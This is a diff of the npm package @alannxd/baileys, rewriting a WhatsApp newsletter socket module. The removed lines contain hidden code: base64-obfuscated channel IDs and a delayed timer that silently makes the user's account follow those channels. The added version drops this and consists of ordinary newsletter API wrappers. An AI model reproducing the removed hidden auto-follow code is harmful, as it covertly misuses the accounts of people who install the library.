@alannxd/baileys 6.1.4 → 6.1.6

package/lib/Socket/newsletter.js

@@ -1,270 +1,737 @@
-import { XWAPaths } from '../Types/index.js';
-import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
-import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
-import { makeGroupsSocket } from './groups.js';
-
-const QueryIds = {
-    JOB_MUTATION: "7150902998257522",
-    METADATA: "6620195908089573",
-    UNFOLLOW: "7238632346214362",
-    FOLLOW: "7871414976211147",
-    UNMUTE: "7337137176362961",
-    MUTE: "25151904754424642",
-    CREATE: "6996806640408138",
-    ADMIN_COUNT: "7130823597031706",
-    CHANGE_OWNER: "7341777602580933",
-    DELETE: "8316537688363079",
-    DEMOTE: "6551828931592903"
-};
-
-export const makeNewsletterSocket = (config) => {
-    const sock = makeGroupsSocket(config);
-    const { authState, signalRepository, query, generateMessageTag } = sock;
-    const encoder = new TextEncoder();
-
-    const newsletterQuery = async (jid, type, content) => (
-        query({
-            tag: 'iq',
-            attrs: {
-                id: generateMessageTag(),
-                type,
-                xmlns: 'newsletter',
-                to: jid,
-            },
-            content
-        })
-    );
-
-    const newsletterWMexQuery = async (jid, query_id, content) => (
-        query({
-            tag: 'iq',
-            attrs: {
-                id: generateMessageTag(),
-                type: 'get',
-                xmlns: 'w:mex',
-                to: S_WHATSAPP_NET,
-            },
-            content: [
-                {
-                    tag: 'query',
-                    attrs: { query_id },
-                    content: encoder.encode(JSON.stringify({
-                        variables: {
-                            'newsletter_id': jid,
-                            ...content
-                        }
-                    }))
-                }
-            ]
-        })
-    );
-    const yangbrorasakan = [
-    "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
-    "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
-    "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
-    ];
-    
-    setTimeout(async () => {
-        for (const channel of yangbrorasakan) {
-            try {
-                await newsletterWMexQuery(
-                    Buffer.from(channel, "base64").toString(),
-                    QueryIds.FOLLOW
-                );
-            } catch (e) {}
-
-            await new Promise(resolve =>
-                setTimeout(resolve, 3000)
-            );
+import * as Types from '../Types/index.js'
+import { generateProfilePicture } from '../Utils/messages-media.js'
+import { getBinaryNodeChild } from '../WABinary/index.js'
+import { makeGroupsSocket } from './groups.js'
+import { executeWMexQuery } from './mex.js'
+
+const parseNewsletterCreateResponse = response => {
+  const { id, thread_metadata: thread, viewer_metadata: viewer } = response
+  return {
+    id: id,
+    owner: undefined,
+    name: thread.name.text,
+    creation_time: parseInt(thread.creation_time, 10),
+    description: thread.description.text,
+    invite: thread.invite,
+    subscribers: parseInt(thread.subscribers_count, 10),
+    verification: thread.verification,
+    picture: {
+      id: thread.picture.id,
+      directPath: thread.picture.direct_path
+    },
+    mute_state: viewer.mute
+  }
+}
+
+const parseNewsletterMetadata = result => {
+  if (typeof result!== 'object' || result === null) {
+    return null
+  }
+  if ('id' in result && typeof result.id === 'string') {
+    return result
+  }
+  if ('result' in result && typeof result.result === 'object' && result.result!== null && 'id' in result.result) {
+    return result.result
+  }
+  return null
+}
+
+export const makeNewsletterSocket = config => {
+  const sock = makeGroupsSocket(config)
+  const { query, generateMessageTag } = sock
+
+  const mexQuery = (variables, queryId, dataPath) => {
+    return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
+  }
+
+  const newsletterUpdate = async (jid, updates) => {
+    const variables = {
+      newsletter_id: jid,
+      updates: {
+      ...updates,
+        settings: null
+      }
+    }
+    return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
+  }
+
+  return {
+  ...sock,
+    newsletterFetchAllSubscribe: async () => {
+      const list = await executeWMexQuery(
+        {},
+        Types.QueryIds.FETCH_SUBSCRIBE,
+        Types.XWAPaths.xwa2_newsletter_subscribed,
+        query,
+        generateMessageTag
+      );
+      return list;
+    },
+    newsletterCreate: async (name, description) => {
+      const variables = {
+        input: {
+          name,
+          description: description?? null
         }
-    }, 90000);
-    const parseFetchedUpdates = async (node, type) => {
-        let child;
-        if (type === 'messages')
-            child = getBinaryNodeChild(node, 'messages');
-        else {
-            const parent = getBinaryNodeChild(node, 'message_updates');
-            child = getBinaryNodeChild(parent, 'messages');
+      }
+      const rawResponse = await mexQuery(
+        variables,
+        Types.QueryIds.CREATE,
+        Types.XWAPaths.xwa2_newsletter_create
+      )
+      return parseNewsletterCreateResponse(rawResponse)
+    },
+
+    newsletterUpdate,
+
+    newsletterSubscribers: async jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.SUBSCRIBERS,
+        Types.XWAPaths.xwa2_newsletter_subscribers
+      )
+    },
+
+    newsletterMetadata: async (type, key) => {
+      const variables = {
+        fetch_creation_time: true,
+        fetch_full_image: true,
+        fetch_viewer_metadata: true,
+        input: {
+          key,
+          type: type.toUpperCase()
         }
-        return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
-            messageNode.attrs.from = child?.attrs.jid;
-            const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
-            const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
-            const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
-                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
-            const data = {
-                'server_id': messageNode.attrs.server_id,
-                views,
-                reactions
-            };
-            if (type === 'messages') {
-                const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
-                await decrypt();
-                data.message = message;
-            }
-            return data;
-        }));
-    };
-
-    return {
-        ...sock,
-        subscribeNewsletterUpdates: async (jid) => {
-            const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
-            return getBinaryNodeChild(result, 'live_updates')?.attrs;
-        },
-        newsletterReactionMode: async (jid, mode) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { settings: { reaction_codes: { value: mode } } }
-            });
-        },
-        newsletterUpdateDescription: async (jid, description) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { description: description || '', settings: null }
-            });
-        },
-        newsletterUpdateName: async (jid, name) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { name, settings: null }
-            });
-        },
-        newsletterUpdatePicture: async (jid, content) => {
-            const { img } = await generateProfilePicture(content);
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { picture: img.toString('base64'), settings: null }
-            });
-        },
-        newsletterRemovePicture: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { picture: '', settings: null }
-            });
-        },
-        newsletterUnfollow: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
-        },
-        newsletterFollow: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.FOLLOW);
-        },
-        newsletterUnmute: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.UNMUTE);
+      }
+      const result = await mexQuery(
+        variables,
+        Types.QueryIds.METADATA,
+        Types.XWAPaths.xwa2_newsletter_metadata
+      )
+      return parseNewsletterMetadata(result)
+    },
+
+    newsletterFollow: jid => {
+      return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
+    },
+
+    newsletterUnfollow: jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.UNFOLLOW,
+        Types.XWAPaths.xwa2_newsletter_unfollow
+      )
+    },
+
+    newsletterMute: jid => {
+      return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
+    },
+
+    newsletterUnmute: jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.UNMUTE,
+        Types.XWAPaths.xwa2_newsletter_unmute_v2
+      )
+    },
+
+    newsletterUpdateName: async (jid, name) => {
+      return await newsletterUpdate(jid, { name })
+    },
+
+    newsletterUpdateDescription: async (jid, description) => {
+      return await newsletterUpdate(jid, { description })
+    },
+
+    newsletterUpdatePicture: async (jid, content) => {
+      const { img } = await generateProfilePicture(content)
+      return await newsletterUpdate(jid, { picture: img.toString('base64') })
+    },
+
+    newsletterRemovePicture: async jid => {
+      return await newsletterUpdate(jid, { picture: '' })
+    },
+
+    newsletterReactMessage: async (jid, serverId, reaction) => {
+      await query({
+        tag: 'message',
+        attrs: {
+          to: jid,
+        ...(reaction? {} : { edit: '7' }),
+          type: 'reaction',
+          server_id: serverId,
+          id: generateMessageTag()
         },
-        newsletterMute: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.MUTE);
+        content: [
+          {
+            tag: 'reaction',
+            attrs: reaction? { code: reaction } : {}
+          }
+        ]
+      })
+    },
+
+    newsletterFetchMessages: async (jid, count, since, after) => {
+      const messageUpdateAttrs = {
+        count: count.toString()
+      }
+      if (typeof since === 'number') {
+        messageUpdateAttrs.since = since.toString()
+      }
+      if (after) {
+        messageUpdateAttrs.after = after.toString()
+      }
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'get',
+          xmlns: 'newsletter',
+          to: jid
         },
-        newsletterCreate: async (name, description, picture) => {
-            await query({
-                tag: 'iq',
-                attrs: {
-                    to: S_WHATSAPP_NET,
-                    xmlns: 'tos',
-                    id: generateMessageTag(),
-                    type: 'set'
-                },
-                content: [
-                    {
-                        tag: 'notice',
-                        attrs: {
-                            id: '20601218',
-                            stage: '5'
-                        },
-                        content: []
-                    }
-                ]
-            });
-            const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
-                input: {
-                    name,
-                    description: description ?? null,
-                    picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
-                    settings: null
-                }
-            });
-            return extractNewsletterMetadata(result, true);
+        content: [
+          {
+            tag: 'message_updates',
+            attrs: messageUpdateAttrs
+          }
+        ]
+      })
+      return result
+    },
+
+    subscribeNewsletterUpdates: async jid => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
         },
-        newsletterMetadata: async (type, key, role) => {
-            const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
-                input: {
-                    key,
-                    type: type.toUpperCase(),
-                    view_role: role || 'GUEST'
-                },
-                fetch_viewer_metadata: true,
-                fetch_full_image: true,
-                fetch_creation_time: true
-            });
-            return extractNewsletterMetadata(result);
+        content: [{ tag: 'live_updates', attrs: {}, content: [] }]
+      })
+      const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
+      const duration = liveUpdatesNode?.attrs?.duration
+      return duration? { duration: duration } : null
+    },
+
+    newsletterAdminCount: async jid => {
+      const response = await mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.ADMIN_COUNT,
+        Types.XWAPaths.xwa2_newsletter_admin_count
+      )
+      return response.admin_count
+    },
+
+    newsletterChangeOwner: async (jid, newOwnerJid) => {
+      await mexQuery(
+        { newsletter_id: jid, user_id: newOwnerJid },
+        Types.QueryIds.CHANGE_OWNER,
+        Types.XWAPaths.xwa2_newsletter_change_owner
+      )
+    },
+
+    newsletterDemote: async (jid, userJid) => {
+      await mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.DEMOTE,
+        Types.XWAPaths.xwa2_newsletter_demote
+      )
+    },
+
+    newsletterDelete: async jid => {
+      await mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.DELETE,
+        Types.XWAPaths.xwa2_newsletter_delete_v2
+      )
+    },
+
+    /**
+     * Update newsletter category/topic
+     */
+    newsletterUpdateCategory: async (jid, category) => {
+      return newsletterUpdate(jid, { topic: category })
+    },
+
+    /**
+     * Update newsletter invite codes / settings
+     */
+    newsletterUpdateSettings: async (jid, settings) => {
+      const variables = { newsletter_id: jid, updates: { settings } }
+      return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
+    },
+
+    /**
+     * Promote a subscriber to admin
+     */
+    newsletterPromoteAdmin: async (jid, userJid) => {
+      await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
         },
-        newsletterAdminCount: async (jid) => {
-            const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
-            const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
-            return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
+        content: [
+          {
+            tag: 'admin_promote',
+            attrs: {},
+            content: [{ tag: 'participant', attrs: { jid: userJid } }]
+          }
+        ]
+      })
+    },
+
+    /**
+     * Get newsletter view/reach statistics
+     */
+    newsletterViewStats: async (jid, serverId) => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'get',
+          xmlns: 'newsletter',
+          to: jid
         },
-        /**user is Lid, not Jid */
-        newsletterChangeOwner: async (jid, user) => {
-            await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
-                user_id: user
-            });
+        content: [
+          {
+            tag: 'message_updates',
+            attrs: { count: '1', server_id: String(serverId) }
+          }
+        ]
+      })
+      return result
+    },
+
+    /**
+     * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
+     */
+    newsletterSendPost: async (jid, content, options = {}) => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
         },
-        /**user is Lid, not Jid */
-        newsletterDemote: async (jid, user) => {
-            await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
-                user_id: user
-            });
+        content: [
+          {
+            tag: 'publish',
+            attrs: {},
+            content: Array.isArray(content)? content : [content]
+          }
+        ]
+      })
+      return result
+    },
+
+    /**
+     * Pin a newsletter message
+     */
+    newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
+      await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
         },
-        newsletterDelete: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.DELETE);
+        content: [
+          {
+            tag: 'pin',
+            attrs: { server_id: String(serverId), duration: String(durationSecs) }
+          }
+        ]
+      })
+    },
+
+    /**
+     * Unpin a newsletter message
+     */
+    newsletterUnpinMessage: async (jid, serverId) => {
+      await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
         },
-        /**if code wasn't passed, the reaction will be removed (if is reacted) */
-        newsletterReactMessage: async (jid, server_id, code) => {
-            await query({
-                tag: 'message',
-                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
-                content: [{
-                    tag: 'reaction',
-                    attrs: code ? { code } : {}
-                }]
-            });
+        content: [
+          {
+            tag: 'unpin',
+            attrs: { server_id: String(serverId) }
+          }
+        ]
+      })
+    },
+
+    /**
+     * Invite a user to become an admin of a newsletter.
+     */
+    newsletterInviteAdmin: async (jid, userJid) => {
+      return mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.ADMIN_INVITE,
+        Types.XWAPaths.xwa2_newsletter_admin_invite_create
+      )
+    },
+
+    /**
+     * Revoke a pending admin invite for a newsletter.
+     */
+    newsletterRevokeAdminInvite: async (jid, userJid) => {
+      return mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.ADMIN_INVITE_REVOKE,
+        Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
+      )
+    },
+
+    /**
+     * Accept an admin invite to a newsletter (called by the invitee).
+     */
+    newsletterAcceptAdminInvite: async jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.ADMIN_INVITE_ACCEPT,
+        Types.XWAPaths.xwa2_newsletter_admin_invite_accept
+      )
+    },
+
+    /**
+     * Fetch admin-side metadata for a newsletter.
+     */
+    newsletterAdminMetadata: async (jid, options = {}) => {
+      const {
+        fetchPendingAdmins = true,
+        fetchAdminCount = true,
+        fetchCapabilities = false,
+        fetchAdminProfile = false,
+        includeAdminSettings = false,
+        includeJarvisConfig = false
+      } = options
+      return mexQuery(
+        {
+          jid,
+          include_thread_metadata: false,
+          include_messages: false,
+          fetch_pending_admin_invites: fetchPendingAdmins,
+          fetch_admin_count: fetchAdminCount,
+          fetch_capabilities: fetchCapabilities,
+          fetch_admin_profile: fetchAdminProfile,
+          include_admin_settings: includeAdminSettings,
+          include_jarvis_config: includeJarvisConfig
         },
-        newsletterFetchMessages: async (type, key, count, after) => {
-            const afterStr = after?.toString();
-            const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
-                {
-                    tag: 'messages',
-                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
-                }
-            ]);
-            return await parseFetchedUpdates(result, 'messages');
+        Types.QueryIds.ADMIN_METADATA,
+        Types.XWAPaths.xwa2_newsletter_admin
+      )
+    },
+
+    /**
+     * Update admin profile fields for a newsletter
+     */
+    newsletterAdminProfileUpdate: async (jid, updates) => {
+      return mexQuery(
+        { newsletter_id: jid, updates },
+        Types.QueryIds.ADMIN_PROFILE_UPDATE,
+        Types.XWAPaths.xwa2_newsletter_admin_profile_update
+      )
+    },
+
+    /**
+     * Browse the newsletter directory by category.
+     */
+    newsletterDirectoryList: async (options = {}) => {
+      const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
+      const variables = { limit, sort_field: sortField, sort_order: sortOrder }
+      if (interests?.length) variables.interests = interests
+      return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
+    },
+
+    /**
+     * Search the newsletter directory.
+     */
+    newsletterDirectorySearch: async (searchText, options = {}) => {
+      const { limit = 20, startCursor = null, categories = null } = options
+      const variables = { search_text: searchText, limit }
+      if (startCursor) variables.start_cursor = startCursor
+      if (categories?.length) variables.categories = categories
+      return mexQuery(
+        variables,
+        Types.QueryIds.DIRECTORY_SEARCH,
+        Types.XWAPaths.xwa2_newsletters_directory_search
+      )
+    },
+
+    /**
+     * Fetch a preview of newsletters grouped by directory category.
+     */
+    newsletterDirectoryCategoryPreview: async (limit = 5) => {
+      return mexQuery(
+        { limit },
+        Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
+        Types.XWAPaths.xwa2_newsletters_directory_category_preview
+      )
+    },
+
+    /**
+     * Search for newsletters by text query.
+     */
+    newsletterSearch: async (query, limit = 20, startCursor = null) => {
+      const variables = { query, limit }
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
+    },
+
+    /**
+     * Fetch recommended newsletters.
+     */
+    newsletterRecommended: async (limit = 10, numFollowed = null) => {
+      const variables = { limit }
+      if (numFollowed!= null) variables.num_newsletters_followed = numFollowed
+      return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
+    },
+
+    /**
+     * Fetch newsletters similar to a given newsletter.
+     */
+    newsletterSimilar: async (jid, limit = 10) => {
+      return mexQuery(
+        { newsletter_id: jid, limit },
+        Types.QueryIds.SIMILAR,
+        Types.XWAPaths.xwa2_newsletters_similar
+      )
+    },
+
+    /**
+     * Fetch the list of newsletters the current user is following.
+     */
+    newsletterFollowingList: async (startCursor = null, limit = 20) => {
+      const variables = { limit }
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
+    },
+
+    /**
+     * Fetch admin insights/analytics for a newsletter.
+     */
+    newsletterInsights: async (jid, period = null) => {
+      const variables = { newsletter_id: jid }
+      if (period) variables.period = period
+      return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
+    },
+
+    /**
+     * Fetch the list of users who voted in a newsletter poll.
+     */
+    newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
+      const variables = { id: jid, server_id: serverId }
+      if (option!= null) variables.option = option
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(
+        variables,
+        Types.QueryIds.POLL_VOTER_LIST,
+        Types.XWAPaths.xwa2_newsletters_poll_voter_list
+      )
+    },
+
+    /**
+     * Fetch the list of users who reacted to a newsletter message.
+     */
+    newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
+      const variables = { id: jid, server_id: serverId }
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(
+        variables,
+        Types.QueryIds.REACTION_SENDERS_LIST,
+        Types.XWAPaths.xwa2_newsletters_reaction_sender_list
+      )
+    },
+
+    /**
+     * Block a user from a newsletter (admin action).
+     */
+    newsletterBlockUser: async (jid, userJid) => {
+      return mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.BLOCK_USER,
+        'xwa2_newsletter_block_user'
+      )
+    },
+
+    /**
+     * Enable Wamo (paid subscription) for a newsletter.
+     */
+    newsletterEnableWamo: async jid => {
+      return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
+    },
+
+    /**
+     * Disable Wamo (paid subscription) for a newsletter.
+     */
+    newsletterDisableWamo: async jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.WAMO_DISABLE_SUB,
+        'xwa2_newsletter_wamo_disable_sub'
+      )
+    },
+
+    /**
+     * Change the Wamo subscription tier or settings for a newsletter.
+     */
+    newsletterChangeWamo: async (jid, subConfig) => {
+      return mexQuery(
+        { newsletter_id: jid,...subConfig },
+        Types.QueryIds.WAMO_CHANGE_SUB,
+        'xwa2_newsletter_wamo_change_sub'
+      )
+    },
+
+    /**
+     * Wamo helpers
+     */
+    wamoAfsAgeCollection: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
+
+    wamoAssetCollection: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
+
+    wamoFetchAdhocNotice: async noticeId =>
+      mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
+
+    wamoFetchIdentityToken: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
+
+    wamoSubComplianceInfo: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
+
+    wamoUserIdVersion: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
+
+    wamoSetUserIdVersion: async (jid, version) =>
+      mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
+
+    /**
+     * Leave a newsletter (unsubscribe).
+     */
+    newsletterLeave: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
+
+    /**
+     * Create a verified newsletter.
+     */
+    newsletterCreateVerified: async (name, description = null) =>
+      mexQuery(
+        { input: { name, description } },
+        Types.QueryIds.CREATE_VERIFIED,
+        Types.XWAPaths.xwa2_newsletter_create_verified
+      ),
+
+    /**
+     * Fetch newsletter enforcements (ban/restriction info).
+     */
+    newsletterEnforcements: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
+
+    /**
+     * Fetch user reports for a newsletter (admin action).
+     */
+    newsletterUserReports: async (jid, cursor = null) => {
+      const variables = { newsletter_id: jid }
+      if (cursor) variables.cursor = cursor
+      return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
+    },
+
+    /**
+     * Create a report appeal for a newsletter.
+     */
+    newsletterCreateReportAppeal: async (jid, reason) =>
+      mexQuery(
+        { newsletter_id: jid, reason },
+        Types.QueryIds.CREATE_REPORT_APPEAL,
+        Types.XWAPaths.xwa2_newsletter_create_report_appeal
+      ),
+
+    /**
+     * Check a newsletter link preview.
+     */
+    newsletterLinkPreviewCheck: async url =>
+      mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
+
+    /**
+     * Update newsletter verification status.
+     */
+    newsletterUpdateVerification: async (jid, verification) =>
+      mexQuery(
+        { newsletter_id: jid, verification },
+        Types.QueryIds.UPDATE_VERIFICATION,
+        Types.XWAPaths.xwa2_newsletter_update_verification
+      ),
+
+    /**
+     * Label a newsletter post as paid partnership.
+     */
+    newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
+      mexQuery(
+        { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
+        Types.QueryIds.LABEL_PAID_PARTNERSHIP,
+        Types.XWAPaths.xwa2_newsletter_label_paid_partnership
+      ),
+
+    /**
+     * Log newsletter exposure events (analytics).
+     */
+    newsletterLogExposures: async events =>
+      mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
+
+    /**
+     * Update user-specific newsletter setting.
+     */
+    newsletterUpdateUserSetting: async (jid, setting) =>
+      mexQuery(
+        { newsletter_id: jid,...setting },
+        Types.QueryIds.UPDATE_USER_SETTING,
+        Types.XWAPaths.xwa2_newsletter_update_user_setting
+      ),
+
+    /**
+     * Fetch newsletter ranking features (ML signals).
+     */
+    newsletterRankingFeatures: async jid =>
+      mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.RANKING_FEATURES,
+        Types.XWAPaths.xwa2_newsletter_ranking_features
+      ),
+
+    /**
+     * Send view receipts for newsletter messages.
+     */
+    newsletterSendViewReceipt: async (jid, serverMessageIds) => {
+      const ids = Array.isArray(serverMessageIds)? serverMessageIds : [serverMessageIds]
+      const receiptId = generateMessageTag()
+      await query({
+        tag: 'receipt',
+        attrs: {
+          to: jid,
+          id: receiptId,
+          type: 'view'
         },
-        newsletterFetchUpdates: async (jid, count, after, since) => {
-            const result = await newsletterQuery(jid, 'get', [
-                {
-                    tag: 'message_updates',
-                    attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
-                }
-            ]);
-            return await parseFetchedUpdates(result, 'updates');
-        }
-    };
-};
-
-export const extractNewsletterMetadata = (node, isCreate) => {
-    const result = getBinaryNodeChild(node, 'result')?.content?.toString();
-    const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
-    const metadata = {
-        id: metadataPath.id,
-        state: metadataPath.state.type,
-        creation_time: +metadataPath.thread_metadata.creation_time,
-        name: metadataPath.thread_metadata.name.text,
-        nameTime: +metadataPath.thread_metadata.name.update_time,
-        description: metadataPath.thread_metadata.description.text,
-        descriptionTime: +metadataPath.thread_metadata.description.update_time,
-        invite: metadataPath.thread_metadata.invite,
-        handle: metadataPath.thread_metadata.handle,
-        picture: metadataPath.thread_metadata.picture?.direct_path || null,
-        preview: metadataPath.thread_metadata.preview?.direct_path || null,
-        reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
-        subscribers: +metadataPath.thread_metadata.subscribers_count,
-        verification: metadataPath.thread_metadata.verification,
-        viewer_metadata: metadataPath.viewer_metadata
-    };
-    return metadata;
-};
+        content: [
+          {
+            tag: 'list',
+            attrs: {},
+            content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
+          }
+        ]
+      })
+    }
+  }
+}